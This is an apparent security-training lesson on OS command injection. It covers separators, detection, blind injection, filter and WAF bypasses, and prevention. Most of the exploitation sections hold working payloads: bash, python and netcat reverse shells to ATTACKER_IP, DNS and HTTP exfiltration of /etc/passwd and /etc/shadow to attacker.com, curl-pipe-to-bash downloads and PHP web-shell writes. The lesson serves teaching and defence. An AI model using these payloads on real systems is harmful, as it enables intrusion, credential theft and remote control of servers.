Command Injection
Command Injection (also called OS Command Injection) is a critical vulnerability that allows attackers to execute arbitrary operating system commands on the server. This can lead to complete system compromise, data theft, and lateral movement. This lesson covers detection, exploitation, bypassing filters, and prevention techniques.
What You'll Learn
- What is command injection
- How command injection works
- Detection techniques
- Exploitation methods
- Command separators and operators
- Blind command injection
- Bypassing filters and WAFs
- Out-of-band exploitation
- Prevention and mitigation
What is Command Injection?
The Vulnerability
Command injection occurs when:
- Application executes system commands
- User input included in commands
- Input not properly sanitized
- Attacker injects additional commands
Vulnerable Code Example (PHP):
<?php
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo "<pre>$output</pre>";
?>
Normal Usage:
URL: http://site.com/ping.php?ip=8.8.8.8
Command: ping -c 4 8.8.8.8
Malicious Usage:
URL: http://site.com/ping.php?ip=8.8.8.8; whoami
Command: ping -c 4 8.8.8.8; whoami
Result: Executes ping AND whoami
How Command Injection Works
System Command Execution
Vulnerable functions in different languages:
// PHP
system($cmd);
exec($cmd);
shell_exec($cmd);
passthru($cmd);
popen($cmd, 'r');
proc_open($cmd);
`$cmd`; // Backticks
// Python
os.system(cmd)
os.popen(cmd)
subprocess.call(cmd, shell=True)
subprocess.run(cmd, shell=True)
// Node.js
child_process.exec(cmd)
child_process.spawn(cmd, shell=true)
// Java
Runtime.getRuntime().exec(cmd)
// Ruby
system(cmd)
`cmd`
exec(cmd)
Command Separators
Linux/Unix
; # Command separator
# cmd1 ; cmd2 (execute cmd1, then cmd2)
& # Background execution
# cmd1 & cmd2 (execute cmd1 in background, then cmd2)
&& # AND operator
# cmd1 && cmd2 (execute cmd2 only if cmd1 succeeds)
|| # OR operator
# cmd1 || cmd2 (execute cmd2 only if cmd1 fails)
| # Pipe
# cmd1 | cmd2 (pipe output of cmd1 to cmd2)
` # Command substitution
# cmd1 `cmd2` (execute cmd2, use output in cmd1)
$() # Command substitution
# cmd1 $(cmd2) (execute cmd2, use output in cmd1)
\n # Newline
# cmd1 %0a cmd2 (URL encoded newline)
Windows
& # Command separator
# cmd1 & cmd2
&& # AND operator
# cmd1 && cmd2
|| # OR operator
# cmd1 || cmd2
| # Pipe
# cmd1 | cmd2
; # Sometimes works in PowerShell
# cmd1 ; cmd2
Detection
Manual Testing
Test 1: Time Delay
# Linux
; sleep 5
& sleep 5
| sleep 5
# Windows
& timeout 5
| ping 127.0.0.1 -n 6
# If page delays = vulnerable
Test 2: Output Reflection
; whoami
& whoami
| whoami
# Check if output appears on page
Test 3: Boolean-Based
# Test TRUE condition
& nslookup $(whoami).attacker.com &
# Test FALSE condition
& nslookup $(invalid_cmd).attacker.com &
# Check DNS logs on attacker.com
Common Injection Points
GET parameters:
http://site.com/ping.php?ip=8.8.8.8; whoami
POST parameters:
ip=8.8.8.8; whoami
Headers:
User-Agent: ; whoami
Referer: ; whoami
X-Forwarded-For: ; whoami
File uploads (filename):
file.txt; whoami.jpg
Cookie values:
Cookie: session=abc123; whoami
Basic Exploitation
Example 1: Simple Command Injection
# Target URL
http://site.com/ping.php?ip=8.8.8.8
# Test for vulnerability
http://site.com/ping.php?ip=8.8.8.8; whoami
# If successful, execute commands:
http://site.com/ping.php?ip=8.8.8.8; ls -la
http://site.com/ping.php?ip=8.8.8.8; cat /etc/passwd
http://site.com/ping.php?ip=8.8.8.8; id
http://site.com/ping.php?ip=8.8.8.8; pwd
Example 2: Read Sensitive Files
# Linux
; cat /etc/passwd
; cat /etc/shadow (if root)
; cat ~/.ssh/id_rsa
; cat /var/www/html/config.php
# Windows
& type C:\Windows\System32\drivers\etc\hosts
& type C:\inetpub\wwwroot\web.config
Example 3: Reverse Shell
# Bash reverse shell
; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python reverse shell
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Netcat reverse shell
; nc ATTACKER_IP 4444 -e /bin/bash
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
# On attacker machine:
nc -lvnp 4444
Blind Command Injection
What is Blind Command Injection?
Blind: Command executes but no output returned to attacker.
Detection Methods:
- Time delays
- Out-of-band (DNS, HTTP)
- File-based (write to web directory)
Time-Based Detection
# Linux - sleep command
; sleep 10
# Windows - timeout or ping
& timeout 10
& ping 127.0.0.1 -n 11
# If page delays, vulnerable!
Out-of-Band Exfiltration
DNS Exfiltration:
# Linux
; nslookup $(whoami).attacker.com
; dig $(whoami).attacker.com
; host $(whoami).attacker.com
# Exfiltrate data
; nslookup $(cat /etc/passwd | base64).attacker.com
# On attacker machine, monitor DNS logs:
tcpdump -i any -n port 53
HTTP Exfiltration:
; curl http://attacker.com/$(whoami)
; wget http://attacker.com/$(cat /etc/passwd | base64)
# On attacker machine:
python3 -m http.server 80
File-Based Detection
# Write to web directory
; touch /var/www/html/pwned.txt
; echo "hacked" > /var/www/html/proof.txt
# Then access:
http://site.com/pwned.txt
http://site.com/proof.txt
Bypassing Filters
1. Spaces Filtered
# Use $IFS (Internal Field Separator)
;cat$IFS/etc/passwd
;ls$IFS-la
# Use tabs
;cat%09/etc/passwd
# Brace expansion
;{cat,/etc/passwd}
2. Command Separators Filtered
# If ; blocked, try:
& whoami
| whoami
&& whoami
|| whoami
%0a whoami (newline)
# If all blocked, try newline encoding:
%0d%0a whoami
3. Keywords Filtered (cat, ls, etc.)
# Use wildcards
;c?t /etc/passwd
;c*t /etc/passwd
# Use $0
;$0<<<cat</etc/passwd
# Quotes/escaping
;c''a''t /etc/passwd
;c"a"t /etc/passwd
;c\at /etc/passwd
# Environment variables
;CA=c;TA=at;$CA$TA /etc/passwd
# Hex/Base64
;echo 636174202f6574632f706173737764 | xxd -r -p | sh
4. Slashes (/) Filtered
# Use environment variables
;cat$HOME$SEP.bash_history
;cat${HOME}${SEP}etc${SEP}passwd
# Hex encoding
;cat$(echo -e "\x2f")etc$(echo -e "\x2f")passwd
5. Special Characters Filtered
# If & | ; blocked, try:
%0a (newline - URL encoded)
%0d (carriage return)
%09 (tab)
# If $ blocked for $(cmd):
`cmd` (backticks)
Advanced Techniques
Command Chaining
# Execute multiple commands
; whoami ; id ; hostname
# Store in variable
; x=$(whoami); curl http://attacker.com/?data=$x
Data Exfiltration
# Base64 encode file and exfiltrate
; cat /etc/passwd | base64 | curl -d @- http://attacker.com/
# Split large files
; split -b 1000 /etc/shadow /tmp/split_
; curl http://attacker.com/ -F "file=@/tmp/split_aa"
Writing Web Shells
# PHP web shell
; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php
# Then access:
http://site.com/shell.php?cmd=whoami
# One-liner reverse shell
; echo '<?php system("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"); ?>' > /var/www/html/rev.php
Practical Examples
Example 1: Ping Command Injection
# Application: Network diagnostic tool
# URL: http://site.com/ping.php?host=8.8.8.8
# Test injection
http://site.com/ping.php?host=8.8.8.8; whoami
# Enumerate system
http://site.com/ping.php?host=8.8.8.8; uname -a
http://site.com/ping.php?host=8.8.8.8; cat /etc/passwd
http://site.com/ping.php?host=8.8.8.8; ls -la /home
# Reverse shell
http://site.com/ping.php?host=8.8.8.8; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Example 2: DNS Lookup Injection
# Application: DNS lookup tool
# URL: http://site.com/lookup.php?domain=example.com
# Test injection
http://site.com/lookup.php?domain=example.com; whoami
# Read files
http://site.com/lookup.php?domain=example.com; cat /etc/passwd
# Reverse shell
http://site.com/lookup.php?domain=example.com; nc ATTACKER_IP 4444 -e /bin/bash
Example 3: File Converter Blind Injection
# Application: Image converter (blind injection)
# No output displayed
# Time-based detection
; sleep 10
# Page delays 10 seconds = vulnerable!
# DNS exfiltration
; nslookup $(whoami).attacker.com
# HTTP exfiltration
; curl http://attacker.com/$(whoami)
; wget http://attacker.com/?data=$(cat /etc/passwd | base64)
# Write web shell
; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/s.php
Practical Pentesting Scenarios
Scenario 1: Web-Based Ping Tool
# Target: http://admin.site.com/tools/ping.php
# Step 1: Normal usage
http://admin.site.com/tools/ping.php?ip=8.8.8.8
# Step 2: Test for injection
http://admin.site.com/tools/ping.php?ip=8.8.8.8; whoami
# Output shows: www-data
# Step 3: Enumerate
http://admin.site.com/tools/ping.php?ip=8.8.8.8; id
http://admin.site.com/tools/ping.php?ip=8.8.8.8; pwd
http://admin.site.com/tools/ping.php?ip=8.8.8.8; ls -la
# Step 4: Find sensitive files
http://admin.site.com/tools/ping.php?ip=8.8.8.8; find / -name "*.conf" 2>/dev/null
# Step 5: Get reverse shell
# On attacker:
nc -lvnp 4444
# Inject:
http://admin.site.com/tools/ping.php?ip=8.8.8.8; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Scenario 2: Blind Command Injection
# Target: File upload with processing
# No output displayed
# Step 1: Time-based detection
filename: test.txt; sleep 10
# Upload delays = vulnerable!
# Step 2: Setup listener for DNS
# On attacker (monitor DNS):
sudo tcpdump -i any -n port 53
# Step 3: Exfiltrate via DNS
filename: test.txt; nslookup $(whoami).attacker.com
# Step 4: Exfiltrate data
filename: test.txt; nslookup $(cat /etc/passwd | base64 | head -c 50).attacker.com
# Step 5: Get reverse shell via HTTP
# On attacker:
python3 -m http.server 80
nc -lvnp 4444
# Download and execute reverse shell:
filename: test.txt; curl http://ATTACKER_IP/shell.sh | bash
Scenario 3: Bypassing WAF
# Target: http://site.com/search?query=test
# WAF blocks common characters
# Test 1: Basic payload blocked
; whoami ❌ Blocked
# Test 2: Try encoding
%0a whoami ✓ Success!
# Test 3: Commands blocked
%0a cat ❌ Blocked
%0a c?t ✓ Success!
# Test 4: Slashes blocked
%0a c?t /etc/passwd ❌ Blocked
%0a c?t ${HOME}..${HOME}..${HOME}etc${HOME}passwd ✓ Success!
Prevention and Mitigation
1. Avoid System Commands
// BAD: Using system commands
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
// GOOD: Use built-in functions
$ip = $_GET['ip'];
if (filter_var($ip, FILTER_VALIDATE_IP)) {
// Use PHP sockets instead
$output = ping_using_sockets($ip);
}
2. Input Validation (Whitelist)
// Whitelist approach
$ip = $_GET['ip'];
if (!preg_match('/^[0-9.]+$/', $ip)) {
die("Invalid IP address");
}
// Only allow specific values
$allowed_hosts = ['8.8.8.8', '1.1.1.1', 'localhost'];
if (!in_array($ip, $allowed_hosts)) {
die("Invalid host");
}
3. Escaping (Last Resort)
// PHP
$ip = escapeshellarg($_GET['ip']);
$cmd = "ping -c 4 " . $ip;
exec($cmd, $output);
// Python
import shlex
ip = shlex.quote(user_input)
cmd = f"ping -c 4 {ip}"
os.system(cmd)
4. Least Privilege
# Run web server with limited user
# www-data user should NOT have:
- sudo access
- Write access to system directories
- Ability to execute sensitive binaries
# Restrict with AppArmor/SELinux
5. Disable Dangerous Functions
// php.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Quick Reference
Command Separators:
; (semicolon)
& (ampersand)
&& (AND)
|| (OR)
| (pipe)
%0a (newline)
Basic Payloads:
; whoami
; id
; cat /etc/passwd
; ls -la
Reverse Shells:
; bash -i >& /dev/tcp/IP/PORT 0>&1
; nc IP PORT -e /bin/bash
; python -c 'REVERSE_SHELL_CODE'
Blind Injection:
; sleep 10
; nslookup $(whoami).attacker.com
; curl http://attacker.com/$(whoami)
Bypasses:
c?t (wildcards)
c''at (quotes)
c\at (escaping)
%0a (newline)
$IFS (space bypass)
Tools:
Burp Suite, Commix, Metasploit
Resources
Tools
- Commix: Automated command injection tool
- Burp Suite: Manual testing
- Metasploit:
use auxiliary/scanner/http/command_exec - OWASP ZAP: Command injection scanner
Practice Labs
- DVWA (Damn Vulnerable Web Application)
- bWAPP
- HackTheBox
- TryHackMe
- PortSwigger Command Injection labs
Further Reading
- Command Injection Research - How untrusted input reaches OS command execution paths and how to prevent it
Next Steps
- Practice on legal targets (DVWA, CTF platforms)
- Master bypass techniques for filters
- Learn blind injection detection methods
- Study reverse shell payloads
- Understand defenses for secure coding
Command injection can lead to complete system compromise. Master both exploitation and prevention!
"; echo 'Always validate your inputs!' #"